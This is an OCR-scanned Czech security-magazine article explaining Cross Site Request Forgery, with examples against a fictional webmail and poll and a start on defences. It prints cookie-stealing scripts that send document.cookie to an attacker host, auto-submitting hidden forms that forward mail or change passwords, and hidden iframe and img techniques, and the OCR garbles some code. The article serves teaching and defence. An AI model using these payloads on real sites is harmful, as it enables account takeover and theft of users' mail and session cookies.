Utok

Cross Site Request

Forgery

.cCuMiNn.

stupen obtiznosti

tomto Clanku si pfiblizime zranitelnost
V Cross Site Request Forgery, ktera se

takeé jinak nazyvéa Cross Site Reference
Forgery, CSRF nebo XSRF. Zranitelnosti tohoto
druhu trpi v sou€asnosti vétSina webovych apli-
kaci. Mozna to je zplsobeno tim, Ze povédomi
o této zranitelnosti neni dosud na takové urov-
ni, na jaké by mélo byt, nebo proto, ze obrana
pred timto typem utoku neni tak lehka, jak by
se mohlo na prvni pohled zdat. Dfive, nez se
podivdme na jednotlivé typy utokd CSRF a
mozné zpusoby obrany proti nim, povime si né-
co o tom, jak takovy standardni Utok vypada, na
koho je namifen a jaké muze mit jeho zdarné
provedeni nasledky.

Utoky pomoci CSRF

Utoky CSRF jsou obdobou znamych utoku
XSS. Ackoliv nefunguji na stejném principu,
protoze nevyuzivaji skriptovaci jazyk, jsou stej-
né jako XSS utoky namifeny proti koncovym
uzivatelim (navstévnikiim webovych aplikaci).
Kazdy CSRF utok je tvofen specialnim odka-
zem, na ktery se utoénik snazi nalakat sve
obéti, a proved! tak pod jejich identitou skrytou
akci, kterou by za béznych okolnosti samotni
navstévnici nikdy neudélali. Pouzije-li uto¢nik
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(" Na Internetu se muizete chovat jakkoliv obezretné, ale jakmile
jednou navstivite webovou stranku nebo kliknete na odkaz,
nemuzete si jiz byt jisti, zda jste se pravé nestali obéti CSRF
utoku. Pfi ném muzete napfriklad nevédomky prijit o svij ucet na
webovém serveru, nebo vlozit do nékteré z diskuzi prispévek,
ktery byste jinak védomé nikdy nenapsali.

Co se naudite

+ jak uto¢nik mize pfinutit obét, aby nevédomky
provedla Cinnosti, které by védomé nikdy neu-

délala,

* jak je mozné zkreslit i celkem dobfe zabezpe-

¢ené ankety,

+ jak uto¢nik mGze zménit nastaveni Uctu obéti
bez jejiho védomi a v nékterych pfipadech do-

konce bez jeji asistence,

+ jak muze uatocnik zvenéi zménit nastaveni
nékterych zafizeni v intranetu a umoznit si tak

volny vstup,

»  zpUsoby, kterymi mohou tvarci webovych apli-

kaci zabranit itokim CSRF.

Co byste méli znat

» alespon zaklady jazyka HTML,
* jakjsou v jazyce HTML tvoreny formulare,

* jakym zpUsobem pracuje protokol HTTP s po-

zadavky GET a POST,

* néco malo o identifikaci uzivatelll ze strany

serveru pomoci session,
»  zakladni povédomi o zranitelnosti XSS.

www.hakin9.org
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pokroCilych  metod Utoku, muaze
obét' donutit, aby nasledovala odkaz
dokonce bez jejiho védomi a aktivni
spoluucasti, ktera jinak v kliknuti na
odkaz spociva.

Jak servery kontroluji
identitu uzivateld

Pokud chceme dobfe porozumét
utokim CSRF, musime si nejprve
povédét néco o tom, jak webové
servery ovérfuji identitu svych na-
v§tévnikla. Vzhledem k tomu, Ze je
http protokol bezstavovy a pfi pre-
chodu z jedné webové stranky na
jinou by si sdm o sobé nezapama-
toval identitu navstévnika, byly vy-
vinuty rizné metody, které serveru
identifikaci umoznuji. NejCastéji je
pfi pfihlaseni k webovému serveru
vytvofeno na serveru sezeni (sessi-
on), které prifadi navsténikovi jed-
noznacny identifikator relace. Tim
pak navstévnik pfi kazdém vstupu
na novou stranku prokazuje svou
identitu. Pfedavani tohoto fetézce
zabezpeduji webové servery rlizny-
mi zpUsoby.

Nékteré tento identifikacni Feté-
zec predavaji jako parametr v url, jiné
jej maji zakomponovan jiz v samotné
adrese webové stranky. Asi nejcas-
t&jSim a nejznaméjSim zpusobem je
pak pro uloZeni tohoto fetézce pou-
zit cookies. Vzdy, kdyz navstévnik
provadi na serveru néjakou akci, je
podle tohoto fetézce ovéfena jeho
identita a podle prav, které ma dany

pfesmérovani pfichozi posty
‘html><head></head><body>

method="post">

</form></body></html>

Vypis 3. Kod utoénikovy stranky atackform.html s formulafem pro

<form name="fakeform" action="http://www.webmail.cz/forward.php"

‘input type="text" name="address" value="atacker@domena.cz">
<input type="checkbox" name="copy" value="yes" checked>

<input type="submit" value="send">

uzivatel pfifazeny, je mu akce budto
povolena nebo odepfena. Prikladem
nam mu0ze byt napfiklad navstéva
webmailu. Legitimni navstévnik se
zadanim svého uzivatelského jména
a hesla prihlasi k webmailovému
serveru, na kterém ma zaregistro-
van svlj e-mailovy Gcet. Na strané
serveru bude vytvofena relace a
uzivateli bude pfifazen a pfedan
identifikacni Fetézec. Ten se na
strané uzivatele zapiSe napfriklad
do cookie a navstévnik se jim bude
az do odhlaSeni od serveru identifi-
kovat. Timto zplisobem ma uZivatel
zaru€eno bezproblémové prochaze-
ni svym uétem. Muze psat pod svou
identitou zpravy, upravovat adresar,
nebo provadét jakékoliv zmény v
nastaveni uc¢tu. Je samoziejmosti,
Ze muUZe pracovat pouze se svym
e-mailovym uc&tem, protoZe server
podle identifikatoru pozna, ze k ji-
nému uctu uzivatel opravnéni nema.
Utoénici se 8asto snaZi na serverech
nalézt XSS zranitelnosti, pomoci niz
by se jim podafilo ukrast obéti obsah

cookie);

Vypis 1. Priklady skriptt ke kradeZi cookies

<script>document.write ("<img src='http://atacker.cz/script.php?cookie="+docu
ment.cookie+"' width='0' height='0"'/>");</script>

<script>document.location.replace('http://www.attacker.cz/xss.cgi'+document.

</script

<script>document.write ("<form action='http://atacker.cz/script.php'
name='atackform' method='post'><input type='hidden'
name="'cookie' value="+document.cookie+":

kform.submit ();</script>

/form>") ;atac

adresy k pfesmérovani

<input type="text" name="address">

Vypis 2. Kéd formulére, ktery slouzi ve webmailu k zadani e-mailové

<form name="fakeform" action="/forward.php" method="post">

<input type="checkbox" name="copy" value="yes">

<input type="submit" value="send"></form

www.hakin9.org

téchto cookie. Tim by ziskali pravé
zminovany identifikator session a
mohli by tak pfistoupit k uctu pod
identitou obéti.

Pokud server nema jiné kontrolni
mechanismy, kterymi by detekoval
unesené sezeni (napfiklad kontrola
ip adresy), muze si Uto¢nik prova-
dét s uctem vSe, co jej napadne.
Ke kradezi cookie je €asto uto€niky
pouzivan kéd podobny nékterému
z téch, které uvadim ve Vypisu 1.
Timto se vSak dostavame k Utokim
XSS, kterym tento ¢lanek uréen ne-
ni, a proto se jimi zatim nebudeme
vice zabyvat. Tam kde utoky typu
XSS mozné nejsou, pfichazi uto€nici
pravé s utoky CSRF a proto je potfe-
ba, aby o nich méli tvlrci webovych
aplikaci jasnou pfedstavu.

Jaké mohou mit zdarné
utoky nasledky

Jiz jsme se zminili o tom, Ze utoky
CSRF jsou tvofeny pfevazné spe-
cialné upravenymi odkazy nebo
pomoci normalné vyhlizejicich od-
kazl, které v8ak sméfuji na stranky
s pfesmérovanim nebo se special-
né pfipravenymi skripty. Obéti tak
nemusi z pohledu na odkaz ziskat
vlbec Zadné podezieni a dokonce
nemusi provedeny utok ani nijak za-
registrovat. Vratime se zpét k nase-
mu pfikladu s webmailovou sluzbou
a predstavime si, Zze uto¢nik zasle
obéti odkaz na stranku s adresafem.
Sam uto¢nik, kdyby chtél, tak se do
adresafe obéti nedostane. Neni
pro néj vSak problém zjistit si na-
vStévou vlastniho Uctu, jaky je cely
obsah url pfi prochazeni adresare.
Rekn&me, Ze je touto adresou http:
//www.webmail.cz/addressbook/
view.php. Tento odkaz pak uto¢nik
pouze za$le své obéti a ta se, pokud
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na odkaz klikne, ocitne razem ve
svém adresafi. Jak jsme jiz uvedli,
bézné utoénik pristup do ciziho ad-
resare nema, ale mize donutit k na-
vstéve prostfednictvim odkazu svou
obét, jejiz identitu vyuZzije. Tento pfFi-
klad mozna neni zvolen zrovna nej-
Stastnéji, protoZze nepfedstavuje pro
uzivatele zadné nebezpeci. Pomohl
nam vsak predstavit si, jakym zpa-
sobem se mize uto¢nik s identitou
obéti dostat na mista, kam by se za
normalnich okolnosti nedostal. Da-
leko hor$i nasledky muze mit odkaz,
jehoz nasledovani vede k vymazani
adresafe nebo doru€enych zpray,
k nastaveni pfesmérovani pfichozi
posty, nebo dokonce ke zméné
pfistupového hesla. VSechny tyto
akce muZe pouze prostfednictvim
odkazu, na ktery obét klikne, utoc¢-
nik provést a to uz je dle mého
dostatecné velké nebezpedi, které
stoji za to, si blize priblizit.

Metody utoki CSRF

Je jasné, Zze pouhé navedeni obéti
na urcitou stranku by pro uto€nika
moc velky smysl nemélo a jen stézi
by se néco takového dalo pokladat
za utok. Nebezpedi pfichazi teprve v
pfipadé, kdy uto¢nik za¢ne pod iden-
titou své obéti odesilat v url hodnoty
parametrud, které se mu hodi nebo
zacne vyplfiovat a odesilat formulare

nenapadnému pfesmérovani posty

<html><head></head><body>

Vypis 6. Kod druhé ze stranek (error.html) pripravenych atocnikem k

<p>Omlouvéme se, ale pozadovanad stranka nebyla na serveru nalezena.</p>
<iframe src="atack.html" height="1" width="1"></iframe></body></html>

<img src="http://address of source">

<script src="http://address of source"

<embed src="http://address_of source">

<iframe src="http://address of source™

<applet code="http://address of source">
<object data="http://address_of source'">

Vypis 7. Tagy, které mozné pouzit k CSRF ttoku pres vzdalené zdroje

umisténé na webovych strankach.
Kdo nékdy na své stranky umistoval
néjaky ten formuléf, vi, Zze jsou data
pfedavana na webovy server ke
zpracovani budto metodou cer nebo
rost. O obou téchto metodach si nyni
povime trochu vice a uvedeme si na
prikladech konkrétni utoky CSRF.

Utoky pres

pozadavek GET

Pokud jsou data odesilana pomoci
metody cert, je provedeni CSRF uto-
ku naprosto jednoduchou zaleZitosti.
Hodnoty jednotlivych proménnych
jsou totiz predavany jako parame-
try v url a neni problém si sestavit
odkaz v€etné predavanych hodnot,
které se uto€niku hodi. Jako pfiklad

prvnich dpravach
<html><head></head><body>

method="post">

</body></html>

Vypis 4. Kéd utoénikovy stranky atackform.html s formulafem po

<form name="fakeform" action="http://www.webmail.cz/forward.php"

<input type="hidden" name="address" value="atacker@domena.cz">
<input type="hidden" name="copy" value="yes"></form>
<script type="text/javascript">document.fakeform.submit (

/script

<html><head></head><body>

method="post"

</body></html>

Vypis 5. Kéd prvni ze stranek (atack.html) pfipravenych Gtocnikem k
nenapadnému pfesmérovani posty

<form name="fakeform" action="http://www.webmail.cz/forward.php"
<input type="hidden" name="address" value="atacker@domena.cz">

<input type="hidden" name="copy" value="yes"></form>
<script type="text/javascript">document.fakeform.submit ()</script>

hakin9 2/2008

www.hakin9.org

utoku nam nyni poslouzi jednoducha
anketa, kterych jsou na webu tisice.
Nékdy ma vysledek ankety celkem
zasadni vyznam, napfiklad v raz-
nych soutézich, kdy navstévnici roz-
hoduji o vitézi soutéze. V takovéem
pfipadé délaji tvarci ankety v§echno
proto, aby navstévnikim zamezili v
nékolikanasobném hlasovani. Pou-
Zivaji k tomu razné slozité metody
od ukladani informace o prob&hlém
hlasovani do cookie, pfes kontrolu
ip adresy a jinych atributd, které
navstévnika jednoznaéné identifikuji,
az po umoznéni hlasovani pouze re-
gistrovanym navstévnikim.

V nasSem pfipadé se zaméfime
na fiktivni anketu, ktera obsahuje
vSechny vySe zminéné ochrany. V
této anketé rozhoduji registrovani
navstévnici o vitézi soutéze, ktery
ziska hodnotnou cenu. Zkuste se
nyni zamyslet, jakym zplsobem
by uto€nik mohl ovlivnit hlasovani
a pridat tfeba 1000 hlasG jedné z
moznosti. Ano, mlze se napfiklad
tisickrat zaregistrovat a zkouSet
obejit kontrolu o jiz probéhlém hla-
sovani. VSem v8ak musi byt jasné,
Ze toto je extrémni feSeni, kterému
se kazdy radé&ji vyhne. Pokud se
hlasy z ankety pfenasi od hlasuji-
cich do skriptu plus.php metodou
cer, muze Utocnik prostfednictvim
CSRF utoku nechat nevédomky hla-
sovat ostatni registrované uzivatele.
Udéla to napfiklad tak, ze do disku-
ze na webu s anketou vlozi odkaz,
ktery v sobé jiz bude obsahovat
parametr s jedou z moznosti pro
hlasovani. Takovy odkaz by mohl
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vypadat takto: http://www.soutez.c/
plus.php&option=3.

Do diskuze mUze k odkazu uvést
néjaky upoutavkovy text, kterym
se pokusi presvedcit ke kliknuti na
odkaz co nejvice navstévnikd. Na-
vstévnik, ktery se necha zmast a na
odkaz klikne, pak uvidi jen podéko-
vani za ucCast v anketé a u zvolené
moznosti pfibude jeden hlas. O tom,
jak by mohl uto€nik svou cinnost
zamaskovat, aby odkaz nebyl tak
napadny a aby se obét nedozvédeé-
la o tom, Ze byla pravé podvedena
si povime nize. Z vySe uvedeného
je patrné, ze prenaset hodnoty me-
todou cer je snadno zneuZitelné a to
nejen pro utoky tohoto typu. Ac¢koliv,
jak si za chvili ukazeme, neni sebe-
mensi problém uskutecnit zdarny
CSRF utok ani pfi pouziti metody
POST, je dobré se metodé cer co
nejvice vyhybat a pokud to neni z
néjakého davodu vyloZené nutné,
nepouzivat ji.

Utoky pres

pozadavek POST

Aplikace, které si predavaji data
pomoci metody rost, jsou na tom o
poznani lépe. Bohuzel je ale ani toto
pfed utoky CSRF neuchrani. Vratime
se zpét k naSemu webmailu a poku-
sime si popsat postup, ktery by mohl
pouzit uto¢nik pokud by chtél pfesmé-
rovat nové pfichozi postu zvolené
obéti na sviij e-mail. Uto&nik si zaloZi
na stejném serveru, jaky pouziva je-
ho obét, ucet, aby prozkoumal jeho
architekturu. Tim zjisti, na jakych ad-
resach se nachazeji jednotlivé skrip-
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Obrazek 1. Viypis zachycenych dat programem Ethereal po odeslani

formulare

ty, které maji s pfesmérovanim posty
néjakou souvislost. Navstivi stranku,
ktera obsahuje formulaf pro zadani
adres k pfesmérovani nové prichozi
posSty a zobrazi si jeji zdrojovy kod.
Pokud je zdrojovy kod Spatné citelny
a uUto¢nik se v ném nem0ze rychle
zorientovat, mGze pouzit néktery z
doplikl ke svému webovému brow-
seru, ktery mu rychle poda vSechny
dostupné informace o jednotlivych
formulafich. Pro FireFox je takovym
vhodnym dopliikem napfiklad Web
developer, ktery poda o formulafich
informace napfiklad v podobé, ktera
je znazornéna na Obrazku 1. Dalsi
moznosti, jak zjistit data odesilana
serveru po odeslani formulare, je
pouziti sitového snifferu, jak ukazuje
Obrazek 2.

P0?????2?2?

Vypisu 8.

method="post">
<input type="hidden" name="newpass"
</form>

<script>document.atackform.submit (

<form name="atackform" action="http://www.example.com/changepass.php"

value="atackernewpass">

)i</script>

method="post">

</form>

<script>document.atackform.submit () ;

<form name="atackform" action="http://www.example.com/changeemail.php"

<input type="hidden" name="newpass" value="utocnik@domena.cz">

</script>

Ma-li utoénik Stésti a zdrojovy
kod stranky je napsan jednoduchym
a prehlednym zplGsobem, muize v
ném vyhledat kod formulafe. Ten
muZe ve zjednodu$ené podobé vy-
padat podobné jako kéd na Vypisu
2. Podiva se na nazvy jednotlivych
vstupnich poli a poznadi si adresu ci-
lového skriptu, kterému jsou data po
vyplnéni odesilana. V nasem pfipadé
obsahuje formulaf pouze dvé pole.
Prvni pro zadani e-mailové adresy
pro pfesmérovani a druhé pro volbu,
zda ponechat na serveru doru¢enou
zpravu, nebo zda ji po prfeposlani
odstranit. Data jsou po stisku tlacitka
uloZit pfedavana metodou rost skriptu
http://www.webmail.cz/forward.php.

Uto&nik nyni nemuze predat da-
ta tim, ze je vlozi do url, protoze je
vyZadovana metoda POST a tak na
to pljde trochu oklikou. VytvoFi si
na svych webovych strankach kopii
uvedeného formulare, kterou umis-
ti na adresu http.//www.utocnik.cz/
atackform.html. Hodnoty jednotli-
vych poli jiz pfedem naplini poza-
dovanymi hodnotami a formular
nasméruje na pavodni skript stara-
jici se o pfidani adresy k pfesmeé-
rovani na serveru www.webmail.cz.
Kod formulafe poté vypada tak, jak
uvadi Vypis 3. Nyni uz jen staci,
aby uto€nik zaslal své obéti e-mai-
lovou zpravu, ve které uvede odkaz
na svUj podvrzeny formular.
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Obéti, ktera je prihlaSena ve
svém webmailovém uctu a klikne
na odkaz, se zobrazi stranka s
formulafem a po kliknuti na tlacitko
ulozit pak hlaseni: Vase poSta byla
pfesmérovana na adresu utocnik@-
mail.cz. Utok se sice zdafil, ale sami
vidite, Ze by potfeboval jesté porad-
né dopilovat. Za prvé by pro utoc¢-
nika bylo jisté fajn, pokud by obét,
nemusela kliknout na formulafové
tlaCitko s popisem odeslat, ale aby
se obsah formulafe odeslal automa-
ticky po vstupu obéti na stranku. Za
druhé, aby obét vibec nevidéla ob-
sah formulare, ale byl ji namisto to-
ho zobrazen napfiklad néjaky vtipny
obrazek. V neposledni fadé by se
utoCnikovi jisté také hodilo, pokud
by se obéti nezobrazila zprava o
provedeném pfesmeérovani. Je tedy
nacase fici si néco o metodach, po-
moci niz mohou uto¢nici své CSRF
utoky maskovat.

Maskovani
CSRF utoku
ZaCneme postupné a jako prvni
si fekneme néco o tom, jak muze
uto€nik maskovat podeziely odkaz,
pokud pfedava data metodou cer
(hodnoty parametrli jsou citelné z
url). Pro utoCnika neni nic jedno-
dussiho, nez pouzit pfesmérovani a
misto pfimého odkazu, ktery vede k
provedeni akce, vlozi odkaz na svou
stranku s nenapadnym url.

Na své strance pak nastavi au-

'E Form Information -

Vypisu 10. Obsah Php skriptu

?php $url = stripslashes($ GET["url"]);?

html><head></head><body

form name="atackform" action="http://www.webmail.cz/<?php echo htmlspecialc
hars (substr ($url,

23, 34) )i

/form

?>/forward.php" method="post">
input type="hidden" name="copy" value="yes"

<input type="hidden" name="email" value="utocnik@domena.cz">

skript>document.atackform.submit () </script></body></html

tomatické pfesmérovani a obét' tak
oklikou navede k cili utoku. Nyni se
v8ak vratime k naSemu webmailu
a nastinime si metody, které by
mohl pouzit uto€nik z uvedeného
prikladu, aby svuUj utok co nejvice
utajil. Nejprve se podivame, jak
muUze uto¢nik odeslat data z formu-
lafe automaticky, okamzité po te,
co obét klikne na odkaz a navstivi
uto€nikem pfipravenou stranku. Vy-
uZit muze byt napfiklad javascript,
pomoci néhoz se provede submit ()
formulare. Nasledné utocnik zamé-
ni typ vstupnich poli na hidden a
odstrani potvrzujici tlacitko. Kod po
provedené uprave je k dispozici na
Vypisu 4.

Posledni vadu na krase, totiz
skryti odpovédi o probéhlém pre-
smérovani, maze utocnik odstranit
otevienim stranky s formulafem ve
skrytém ramu. To od uto¢nika bude
vyzadovat pfipravu dvou webovych
stranek. Jednu, jejiz obsah bude
zobrazen obéti. Na té bude kromé ji-

http: R eEINPaN ~~2515c1969d04941¢a5977d516bc16d01/app/forward.php)

Bl ollapze Al i Eapan il

http:/fowa s m i o

I~~a515¢1969d04941ca5977d516bc16d01/app/forward.php?1193826524

= 1form

Form

forward

post forward.php

Elements

0 copy checkbox 1

INDEX D NAME TYPE VALUE

LABEL SIZE MAXIMUM LENGTH ~ STATE

aliases textarea

1
2 action_cancel image
3

action_save image

Obrazek 2. Zobrazeni informaci o formulafi pomoci

doplriku Web developer pro FireFox
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ného obsahu umistén i iframe o roz-
mérech 1x1 pixel. Do tohoto iframu
bude nahrana druha stranka, ktera
se postara o neviditelné provedeni
pfesmérovani prichozi posty. Zdro-
jovy kéd obou stranek mlzete vidét
na Vypise 5 a Vypise 6.

Cely utok v konecné fazi vy-
pada tak, ze utoCnik zaSle své
obéti e-mailovou zpravu s textem,
ktery se pokusi zapusobit na obét
takovym zplsobem, aby klikla na
zaslany odkaz. Jakmile obét na
odkaz klikne, navstivi uUtoénikem
pfipravenou stranku, kterd bude
obsahovat informace slibované v
textu e-mailové zpravy, nebo takeé
tfeba fiktivni chybové hlaseni, po-
dobné tomu z Vypisu 6. Na pozadi
tohoto déje je ve strance otevien i
prvek iframe o miniaturnich rozmé-
rech. Do ného je nacten a nasledné
i automaticky odeslan formulaf,
ktery zafidi pfesmérovani nové
pfichozi poSty. Zprava o probéh-
Iém pfesmérovani bude ze strany
serveru vracena zpét do tohoto
iframu a proto probéhne cely utok
zcela automaticky a nepozorované.
Nyni je snad sila CSRF utoku jasna
kazdému a to jsme jesté neprobrali
vSechny moznosti, které ma uto¢nik
k dispozici.

Odkazy na

externi zdroje

Kdyz jsem se zmifioval o utocich
zalozenych na pozadavcich zasila-
nych metodou cer, zamérné jsem
neuvedl dal$i ze zplGsobl, pomoci
néhoz mlze utocnik zautoc€it. Tato
metoda je natolik zavazna, Ze jsem
se ji rozhodl vénovat vlastni odsta-
vec. Cely trik, pfi pouziti odkazl na
externi zdroje, vychazi z vlozeni
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tagu, ktery nacita svuj obsah z jiné-
ho umisténi. V adrese pozadavku
na externi zdroj sta¢i pouze uveést
cestu k webové strance, kterou
hodla utoénik napadnout, v&etné
poZzadovanych hodnot parametr(.
Zaméfime-li se opét na priklad s
anketou, kde se hlasy jednotlivym
volbam pficitali zaslanim pozadav-
ku na adresu http://www.soutez.cz/
plus.php&option=3 (v parametru
se uvadi jedna moznosti, pro kte-
rou hlasujeme), pak vlozenim tagu
img se zdrojem, ktery odpovida
adrese hlasovaciho skriptu http://
www.soutez.cz/plus.php&option=3
, miZe uto¢nik donutit server, aby
se pokusil stahnout neexistujici
obrazek z daného umisténi. Staci,
umisti-li na stranku odkaz na obra-
zek v této podobé:

<img src=' http://www.soutez.cz/
plus.php&option=3"
width='0"height="0"'/>

V3em je jasné, Ze k nacteni obrazku
nikdy nedojde, ale automaticky po
zobrazeni webové stranky dojde k
odeslani pozadavku a tim k zapoc¢-
teni hlasu v anketé. V misté, kde

by mél byt zobrazen obrazek zG-
stane prazdné misto, coz by mohlo
upoutat nechténou pozornost a tak
Uto¢nici u obrazk( nastavuji jeho
nulové rozméry nebo jej skryvaji po-
moci css. Tagu, které muze utoénik
pouzit existuje hned nékolik a proto
si je uvedeme v Vypisu 7. Pokud by
mél utonik moznost vloZit na stran-
ky tag <skript> nebo <iframe>, pak
muze provést Utok i pokud je pro
prfedani parametri pouzito metody
POST.

Odkud muze pfijit utok

Je dllezité si uvédomit, Ze zaludné
odkazy a jiné moznosti spusténi
CSRF utokd nemusi ¢ihat jen na
webovych strankach. Jako vychozi
misto pro svij CSRF utok muize
uto€nik zvolit.i jiné cesty, kterymi
vam zakefny odkaz podstréi. Maze
jit napfiklad o zaslani e-mailové
zpravy (o této varianté jsem se jiz
nékolikrat zminil a jesté se o ni
podrobnéji rozepisi pozdéji), nebo
mulze odkaz vlozit do jakéhokoliv
dokumentu, flashové animace, ¢i
kamkoliv jinam. Zde by si méli uzi-
vatelé davat pozor pfedevsim na to,
aby nebyli pfihlageni ke svym G&tiim

~

Standartni postup pfi CSRF utoku

«  Utoénik si nejprve vytvori svij Gget ve webové aplikaci, na jejiz uZivatele chce
zautocit.

» Nasledné si utocnik vyzkousi provedeni akce s vlastni identitou, aby odhalil chova-
ni serveru.

+  Utoénik prozkouma jednotlivé stranky webové aplikace a ovéfi véechny cesty, ktery-
mi by mohl Utok na uzivatele smérovat. Pfi tomto zkoumani hleda moznost viozeni
skriptd pro pfipadny XSS utok, nebo moznost vioZeni externich obrazkd a odkaz(.

» Podle provedeni webové aplikace a nalezenych cest, kterymi muze byt utok ve-
den, se uto€nik rozhodne pro strategii Utoku.

Cile CSRF utoku

* nevédomé hlasovani v anketach,

* nevédomé vkladani prispévka do diskusnich for,

* zmény v nastaveni uzivatelského uctu,

» kradez uzivatelského Uctu,

* nevédomé nakupy v e-shopech,

* pokud mame na serveru vysSi nez uzivatelska prava, pak napfiklad nevédomé
zmény v administraci, mazani prispévkd, atd.

*  Utoky na webové aplikace bé&zici v intranetu,

* zména nastaveni gatewaye, firewalu, nebo jinych zafizeni v intranetu.

J
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ve webovych aplikacich v dobé
kliknuti na odkaz, protoze by pak
byl napadnutelny jejich ucet i touto
cestou. Veliké riziko v tomto sméru
predstavuje automatické nebo-li tr-
valé pfihlaseni uzivatel k webovym
sluzbam, kdy se nemusi logovat do
svého uctu pokazde, kdyz webovou
aplikaci navstévuji. Aplikace v ta-
kovém pfFipadé rozpozna uzivatele
podle cookie a automaticky mu
umozni vstup. Pokud uZzivatelé au-
tomatické pfihlaseni vyuzivaji, maji
sice ponékud jednodussi pfistup ke
svému uctu, protoze nejsou pfihla-
Sovanim zdrzovani, ale na druhou
stranu se mohou stat obéti CSRF
utoku prakticky kdykoliv, protoze
Utoénik nebude omezen d&asem,
kdy je uzivatel ke svému uctu pfihla-
gen. Utoénici také &asto vyuZivaji u
svych podvrZzenych odkazl dopro-
vodné texty, ve kterych uzivatele
zadaji, aby se nejprve pfihlasili ke
svému Uctu a teprve poté klikli na
zobrazeny odkaz. Setkate-li se s
nécim podobnym, je ostrazitost
rozhodné na misté. Nejste-li si
zcela jisti opravnénosti takového
pozadavku, neméli byste se jim v
zadném pripadé fidit.

Utok na e-mailové
klienty

VétSina dnes pouzivanych klient(
pro praci s elektronickou postou
je schopna zobrazovat dorucené
zpravy ve formatu html. To je dalSim
z problému, se kterym se musime
potykat. Pro utoCnika je totiz e-mail
alternativni a v nékterych pfipadech
i jednodu$si cestou, kterou muze
cely utok provést. Nemusi svou obét
lakat odkazem na webovou stranku
s pfipravenym kodem, ale sta¢i mu,
aby kod formulafe zadal pfimo do
téla zpravy. Nastésti maji v impli-
citnim nastaveni e-mailovi Kklienti
zakazanu podporu skriptovacich ja-
zykd, které by umoznily automatické
odeslani dat z formulafe. BohuZzel
ale byva implicitné povoleno nacita-
ni externich obrazk a jinych zdroja,
¢imz muze dochazet k utokim uz
jen tim, ze se uzivateli zobrazi do-
ru¢eny e-mail v nahledu. Za zminku
stoji také skuteCnost ze e-mailovy
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klient Microsoftu sdili veSkeré coo-
kies s Internet explorerem, coz by
pro mnoho uZivateldl mohlo mit v
pfipadé Uspésného utoku znicujici
nasledky.

Riziko skryté v
elektronickych pasech
Pokud vam néco fika pojem Micro-
soft passport, jisté tusSite o Cem
bude fe¢. Tato sluzba umoznuje
takzvané jednotné pfihlaSovani,
které se snazi vylou€it neustalé
registrace na rlznych serverech.
UzZivateli staci, aby se zaregistroval
pouze na sluzbé Microsoft passport
a po pfihlaseni k ni mdze vyuzivat
sluzby v8ech server(, které na-
vstévnika identifikuji pravé pomoci
této sluzby. Redeni k jednotnému
pfihlaSovani existuji vice, ale Micro-
soft passport patfi rozhodné mezi
ty nejznaméjsi. Pokud se pro tuto
sluzbu rozhodnete, méli byste poci-
tat s velikym rizikem, které s sebou
muze jednotné pfihlaSovani pfinést
v podobé CSRF utoku. Staci, abys-
te se pfihlasili k Microsoft passport
a uto¢nik skrze vas muze razem po
uspésném CSRF utoku vyuzivat
vasi identitu na vSech serverech,
které autorizaci na zakladé sluzby
Microsoft passport umoznuiji.

Utok na intranet

Uto&nik muize pomoci CSRF
utokt napachat veliké Skody i v
intranetu, kam by za normalnich
okolnosti nemél pfistup. Pokud je
mu alespon pfiblizné znama jeho
architektura a pouzité webové apli-
kace, mize se mu zdafit utok, pfi
které sméfuje pozadavky pravé v
ramci intranetu. Vzhledem k tomu,
Ze je v intranetu Casto pouzivano
ovéfovani uzivateld na drovni do-
meény, nemusi Uto¢nik dokonce ani
¢ekat na okamzik, kdy je jeho obét
do konkrétni aplikace, na kterou
utoci, pfihlasena. Druhym z moz-
nych atok( v ramci intranetu muaze
byt zména nastaveni firewallu nebo
gatewaye, které se ¢asto administruji
také pfes weboveé rozhrani. | v tomto
pfipadé staci uto¢nikovi pouze zaslat
obéti vhodny odkaz, ktery mu umoz-
ni vstup do celého intranetu.
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Kombinace

utoki CSRF a XSS

V pfikladech, které jsme si uvedli
vySe, je Casto vyzadovana jista
spolutcCast obéti, ktera spociva v
kliknuti na vlozeny nebo zaslany
odkaz. Pokud by uto€nik chtél tuto
vlastnost CSRF utok( obejit, musel
by utok vést skrz vliozZeni externiho
zdroje nebo by musel CSRF na-
kombinovat s Gtokem XSS. Uto&nik
muze vlozit na stranku obsahujici
XSS zranitelnost koéd v podobé
skriptu, ktery zpusobuje automa-
tické pfesmérovani navstévnika na
Uto¢niklv server, z néhoz by byly
nasledné odeslana data slouzici k
provedeni utoku. Aby zlstal cely
utok nezpozorovan, nabizi se utoc¢-
niku hned nékolik moznosti k jeho
provedeni.

Jednou z variant je pfesmérovat
navstévnika vlozenym skriptem na
svou pfipravenou stranku a poté
zase hned zpét na misto, na které
pGvodné vedli navstévnikovi kroky.
Zde by vSak dochazelo k nekoneéné
smycce, kdy by byla obét neustéale
pfeposilana z napadené stranky na
stranku Utoénika a zpét. Utoénik by
musel podle urcitych atributl kon-
trolovat v pfesmérovacim skriptu,
zda jiz byla obét napadena ¢i niko-
liv. Dal$i moznosti je vygenerovani
iframu skriptem pfimo v napadené
strance, jeho naplnéni formulafem
s pozadovanymi daty a jejich auto-
matické odeslani. Kombinace XSS
a CSRF utokl se vSak vyuziva pfe-
vazneé v pripadech, kdy je proménné
umisténi skriptd pfijimajicich zasila-
na data, nebo pokud jsou spole¢né
s daty zasilany i tajné informace,
slouzici k ovéfeni legitimity poza-
davku. O téchto metodach se vice
rozepiSi v sekci vénované obrané.
Dulezité je, abychom si uvédomi-
li, Ze pomoci XSS mulze utoénik
snadno precist vSechny informace,
které jsou uzivateli pfedavany, tedy i
obsahy skrytych poli, nebo hodnotu
url.

Odhaleni utoénika

Pokud jednou dojde k provedeni
zdarného utoku, jen tézko se do-
hledava jeho strljce. VSe zalezi
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na uplnosti logu vedenych provo-
zovatelem webové aplikace. Pokud
uklada jen Casy pfrijatych pozadav-
kl, jednotlivé poZadavky a ip adresy
uzivatelt, nemlze bez pomoci treti
strany, ktera by méla k dispozici upl-
néjsi logy, utok odhalit a pfipadného
utoCnika vypatrat. Pokud by do logu
zaznamenaval i hodnotu referer,
mohl by alespon zpétné urcit poza-
davky, které pfisli z jiné nez oCeka-
vané stranky a mohl by tak odhalit
UtoénikGv server. Tato metoda ma
vSak diky tomu, zZe referer vznika na
strané klienta, jisté nedostatky, kte-
ré zminime v odstavci vénovaném
ochrané pomoci hodnoty referer.

Obrana na

strané klienta

Uzivatel nema v podstaté zadné
moznosti se utokim CSRF jakko-
liv branit. Jediné co muze uzivatel
udélat, je znemoznit XSS utoky
internetového prohlize¢e, kde mi-
nimalné zakaze aktivni skriptovani.
Pokud by uzivatel ve svém prohlize-
